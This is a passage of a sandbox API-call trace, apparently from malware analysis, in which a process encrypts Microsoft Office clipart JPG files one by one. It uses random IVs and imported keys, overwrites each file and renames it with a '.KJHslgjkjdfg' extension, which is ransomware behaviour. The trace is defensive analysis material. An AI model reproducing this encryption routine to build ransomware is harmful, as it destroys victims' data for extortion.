[0202.339] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0202.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.342] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.342] GetProcessHeap () returned 0x990000 [0202.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.342] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.342] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.342] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.342] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.342] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.342] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.342] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.342] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.343] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.343] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14033, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x14033, lpOverlapped=0x0) returned 1 [0202.345] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14040, dwBufLen=0x14040 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14040) returned 1 [0202.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.346] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14040, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14040, lpOverlapped=0x0) returned 1 [0202.346] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.346] SetEndOfFile (hFile=0x130) returned 1 [0202.350] GetProcessHeap () returned 0x990000 [0202.350] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.350] GetProcessHeap () returned 0x990000 [0202.350] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.kjhslgjkjdfg")) returned 1 [0202.352] CloseHandle (hObject=0x130) returned 1 [0202.352] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd8f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384895.JPG", cAlternateFileName="")) returned 1 [0202.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.353] GetProcessHeap () returned 0x990000 [0202.353] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.353] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.353] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.353] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0202.355] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.356] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.356] GetProcessHeap () returned 0x990000 [0202.356] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.356] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.356] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.356] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.356] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.356] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.356] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.356] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.356] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.356] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.356] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd8f6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd8f6, lpOverlapped=0x0) returned 1 [0202.358] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd900, dwBufLen=0xd900 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd900) returned 1 [0202.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.359] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd900, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd900, lpOverlapped=0x0) returned 1 [0202.359] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.360] SetEndOfFile (hFile=0x130) returned 1 [0202.363] GetProcessHeap () returned 0x990000 [0202.363] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.363] GetProcessHeap () returned 0x990000 [0202.363] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.kjhslgjkjdfg")) returned 1 [0202.364] CloseHandle (hObject=0x130) returned 1 [0202.365] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384900.JPG", cAlternateFileName="")) returned 1 [0202.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.367] GetProcessHeap () returned 0x990000 [0202.367] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.367] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.367] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.367] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.367] GetProcessHeap () returned 0x990000 [0202.367] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.367] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.367] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.367] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.370] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.370] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.370] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.370] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.370] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.370] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.370] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11780, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x11780, lpOverlapped=0x0) returned 1 [0202.373] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11780, dwBufLen=0x11780 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11780) returned 1 [0202.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.374] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11780, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x11780, lpOverlapped=0x0) returned 1 [0202.374] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.374] SetEndOfFile (hFile=0x130) returned 1 [0202.377] GetProcessHeap () returned 0x990000 [0202.378] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.378] GetProcessHeap () returned 0x990000 [0202.378] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.kjhslgjkjdfg")) returned 1 [0202.380] CloseHandle (hObject=0x130) returned 1 [0202.380] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x787a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386120.JPG", cAlternateFileName="")) returned 1 [0202.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.381] GetProcessHeap () returned 0x990000 [0202.381] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.381] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.381] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0202.384] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.384] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.384] GetProcessHeap () returned 0x990000 [0202.384] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.384] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.385] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.385] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.385] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.385] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.385] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.385] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.385] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.385] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.385] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x787a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x787a, lpOverlapped=0x0) returned 1 [0202.387] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7880, dwBufLen=0x7880 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7880) returned 1 [0202.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.387] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7880, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7880, lpOverlapped=0x0) returned 1 [0202.387] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.388] SetEndOfFile (hFile=0x130) returned 1 [0202.391] GetProcessHeap () returned 0x990000 [0202.391] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.391] GetProcessHeap () returned 0x990000 [0202.391] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.kjhslgjkjdfg")) returned 1 [0202.393] CloseHandle (hObject=0x130) returned 1 [0202.393] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa91e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386267.JPG", cAlternateFileName="")) returned 1 [0202.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.394] GetProcessHeap () returned 0x990000 [0202.394] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.394] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.394] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0202.398] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.398] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.398] GetProcessHeap () returned 0x990000 [0202.398] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.398] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.398] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.398] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.399] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.399] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 